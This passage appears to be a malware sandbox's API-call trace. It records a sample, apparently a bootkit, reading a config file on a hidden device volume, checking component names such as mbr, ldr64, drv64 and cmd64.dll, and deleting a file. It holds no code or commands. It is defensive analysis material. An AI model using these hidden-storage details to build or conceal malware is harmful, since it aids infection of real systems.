0xfffffa8003b863b0 [0123.963] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.963] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.963] IdePortDispatch () returned 0x103 [0123.963] KeWaitForMutexObject () returned 0x0 [0123.963] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.963] KeLeaveCriticalRegion () [0123.963] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.964] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.964] KeEnterCriticalRegion () [0123.964] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.964] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.964] KeLeaveCriticalRegion () [0123.964] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.964] KeEnterCriticalRegion () [0123.964] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.964] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.964] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bee830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.964] KeLeaveCriticalRegion () [0123.964] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.964] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.964] KeEnterCriticalRegion () [0123.964] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.964] ExFreePoolWithTag (P=0xfffffa8003bee970, Tag=0x0) [0123.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.964] KeLeaveCriticalRegion () [0123.965] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.965] ReleaseMutex (hMutex=0xf0) returned 1 [0123.965] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.965] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.965] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.965] KeEnterCriticalRegion () [0123.965] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.965] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.965] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.965] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.965] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.965] IdePortDispatch () returned 0x103 [0123.965] KeWaitForMutexObject () returned 0x0 [0123.965] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.965] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.965] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.965] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.965] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.965] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bed290 [0123.965] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.965] KeLeaveCriticalRegion () [0123.965] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.965] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.965] KeEnterCriticalRegion () [0123.965] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.965] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.965] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.965] KeLeaveCriticalRegion () [0123.966] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.966] KeEnterCriticalRegion () [0123.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.966] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.966] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.966] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.966] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.966] IdePortDispatch () returned 0x103 [0123.966] KeWaitForMutexObject () returned 0x0 [0123.966] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.966] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.966] KeLeaveCriticalRegion () [0123.966] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.966] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.966] KeEnterCriticalRegion () [0123.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.966] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034bd000 [0123.966] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.966] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.966] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.966] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.966] IdePortDispatch () returned 0x103 [0123.966] KeWaitForMutexObject () returned 0x0 [0123.967] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.967] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.967] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.967] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.967] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.967] IdePortDispatch () returned 0x103 [0123.967] KeWaitForMutexObject () returned 0x0 [0123.967] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.967] KeLeaveCriticalRegion () [0123.967] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.967] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.967] KeEnterCriticalRegion () [0123.967] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.967] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.967] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.967] KeLeaveCriticalRegion () [0123.968] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.968] KeEnterCriticalRegion () [0123.968] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.968] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.968] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.968] KeLeaveCriticalRegion () [0123.968] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.968] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.968] KeEnterCriticalRegion () [0123.968] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.968] ExFreePoolWithTag (P=0xfffffa8003bed290, Tag=0x0) [0123.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.968] KeLeaveCriticalRegion () [0123.968] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.968] ReleaseMutex (hMutex=0xf0) returned 1 [0123.968] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.968] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.968] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.968] KeEnterCriticalRegion () [0123.968] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.968] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.968] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.968] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.968] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.968] IdePortDispatch () returned 0x103 [0123.968] KeWaitForMutexObject () returned 0x0 [0123.969] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.969] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.969] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.969] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.969] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.969] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be2660 [0123.969] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.969] KeLeaveCriticalRegion () [0123.969] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.969] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.969] KeEnterCriticalRegion () [0123.969] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.969] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.969] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.969] KeLeaveCriticalRegion () [0123.969] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.969] KeEnterCriticalRegion () [0123.969] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.969] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.969] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.969] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.969] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.969] IdePortDispatch () returned 0x103 [0123.969] KeWaitForMutexObject () returned 0x0 [0123.969] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.969] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.970] KeLeaveCriticalRegion () [0123.970] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.970] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.970] KeEnterCriticalRegion () [0123.970] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.970] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034be000 [0123.970] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.970] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.970] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.970] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.970] IdePortDispatch () returned 0x103 [0123.970] KeWaitForMutexObject () returned 0x0 [0123.970] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.970] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.970] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.970] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.970] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.970] IdePortDispatch () returned 0x103 [0123.970] KeWaitForMutexObject () returned 0x0 [0123.970] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.970] KeLeaveCriticalRegion () [0123.970] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.971] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.971] KeEnterCriticalRegion () [0123.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.971] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.971] KeLeaveCriticalRegion () [0123.971] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.971] KeEnterCriticalRegion () [0123.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.971] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.971] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2720, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.971] KeLeaveCriticalRegion () [0123.971] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.971] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.971] KeEnterCriticalRegion () [0123.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.971] ExFreePoolWithTag (P=0xfffffa8003be2660, Tag=0x0) [0123.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.971] KeLeaveCriticalRegion () [0123.971] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.971] ReleaseMutex (hMutex=0xf0) returned 1 [0123.972] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.972] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.972] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.972] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.972] KeEnterCriticalRegion () [0123.972] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.972] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.972] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.972] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.972] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.972] IdePortDispatch () returned 0x103 [0123.972] KeWaitForMutexObject () returned 0x0 [0123.972] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.972] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.972] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.972] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.972] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.972] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.972] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.972] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.972] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.972] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.972] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.972] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.972] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.972] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.972] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.972] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.972] KeLeaveCriticalRegion () [0123.972] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.972] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.973] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.973] KeEnterCriticalRegion () [0123.973] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.973] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.973] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.973] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.973] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.973] IdePortDispatch () returned 0x103 [0123.973] KeWaitForMutexObject () returned 0x0 [0123.973] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.973] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.973] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.973] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.973] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.973] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.973] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.973] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.973] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.973] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.973] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.973] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.973] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.973] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.973] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.973] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.973] KeLeaveCriticalRegion () [0123.973] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.973] ReleaseMutex (hMutex=0x100) returned 1 [0123.973] Sleep (dwMilliseconds=0x2bf20) [0123.981] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d194850, dwHighDateTime=0x1d24fa4)) [0123.981] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.981] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.982] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.982] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.982] KeEnterCriticalRegion () [0123.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.982] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.982] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.982] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.982] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.982] IdePortDispatch () returned 0x103 [0123.982] KeWaitForMutexObject () returned 0x0 [0123.982] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.982] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.982] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.982] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.982] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.982] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bed240 [0123.982] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.982] KeLeaveCriticalRegion () [0123.982] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.982] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.982] KeEnterCriticalRegion () [0123.982] 